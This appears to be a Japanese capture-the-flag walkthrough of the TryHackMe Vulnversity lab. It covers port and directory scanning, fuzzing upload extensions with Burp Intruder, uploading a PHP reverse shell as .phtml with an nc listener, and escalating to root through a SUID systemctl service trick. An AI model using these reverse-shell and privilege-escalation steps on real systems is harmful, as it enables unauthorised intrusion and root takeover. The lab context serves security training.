TryHackMeのVulnversityの攻略と解説です。

スキャニング

まずは情報収集としてスキャニングをしていきます。

nmap を使っていきます。

$ nmap -sV $TIP

いくつかのポートが空いてます。その中で注目するべきは 3333/tcp http でしょう。httpとあるので、なにかしらのWebサイトがありそうです。サイトがあるかブラウザから確認してみます。

予想通り、Webサイトがありました。

Webサイトの調査

前のフェーズでWebサイトがあることがわかりました。どんなページがあるか調査するため、GoBusterを使います。

$ gobuster dir -u http://$TIP:3333 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt

結果から /internal/ というページがあることがわかりました。このページを確認してみます。

アップロード機能の調査

internalページはアップロードページのようです。まずはテストとしてtxtファイルをアップロードしてみます。

そうすると、 Extension not allowed のメッセージが表示されました。txt拡張子はアップロードが許可されていないようです。ということは、なにかしら許可されている拡張子がありそうです。

アップロード可能な拡張子を探すため、BupSuiteを使っていきましょう。

BurpSuiteを立ち上げてアップロード時のリクエストをキャプチャします。

キャプチャしたリクエストを Send Intruder で、Intruder画面に送ります。

やりたいことは拡張子を変化させてリクエストを投げることです。そのため、拡張子を変数化させます。

Payload画面で検証する拡張子を設定します。

Start Attackボタンで検証を開始します。終わったら、responseを確認します。

そうするとphtmlのresponseがSuccessであることがわかります。

リバースシェルを使った侵入

PHTMLファイルがアップロード可能なことがわかったのでPHPリバースシェルやっていきます。

リバースシェルの解説はこちら

リバースシェルコードファイルの準備

リバースシェルのPHPコードファイルをダウンロードします。

アップロードできるように拡張子を phtml に修正します。

$ wget https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
$ mv php-reverse-shell.php php-reverse-shell.phtml

ファイルの中身を環境に合わせて変更します。

$ vi php-reverse-shell.php

$ipで設定しているIPアドレスを現在操作しているLinuxのIPアドレスへ変更していきます。

$VERSION = "1.0";
$ip = '127.0.0.1';  // CHANGE THIS
$port = 1234;       // CHANGE THIS
$chunk_size = 1400;

リバースシェルの実行

これでリバースシェルのコードファイルの編集は終わりです。それでは実際にリバースシェルを実行していきましょう。

ターミナルで新しいタブを開きます。そしてリバースシェルを待ち受けるポートを作成します。

$ nc -lvnp 1234

リバースシェルのコードファイルをアップロードします。その後、アップロードしたリバースシェルのコードファイルを実行します。

それを行うため、ブラウザで別タブを開きます。そして、下記URLにアクセスします。

http://10.10.70.41:3333/internal/uploads/php-reverse-shell.phtml

そして、待ち受けポートのターミナルに戻るとリバースシェルが成功しています。

SUIDを使った権限昇格

どうやって権限昇格していくか探るため、所有者が root でSUIDが設定されているファイルを検索します。

$ find / -user root -perm -4000 -exec ls -ldb {} \; 2>/dev/null

GTFOBinsサイトで使えそうなファイルを探します。そうすると systemctl の攻撃コードが見つかりました。

[sc_Linkcard url=”https://gtfobins.github.io/#+suid”]

少しコマンド群を書き換えて、下記を実行して権限昇格をしていきます。

このコマンド群の解説は ここ を見てください

TF=$(mktemp).service
echo '[Service]
Type=oneshot
ExecStart=/bin/sh -c "cat /root/root.txt > /tmp/output"
[Install]
WantedBy=multi-user.target' > $TF
/bin/systemctl link $TF
/bin/systemctl enable --now $TF

以上で攻略完了です。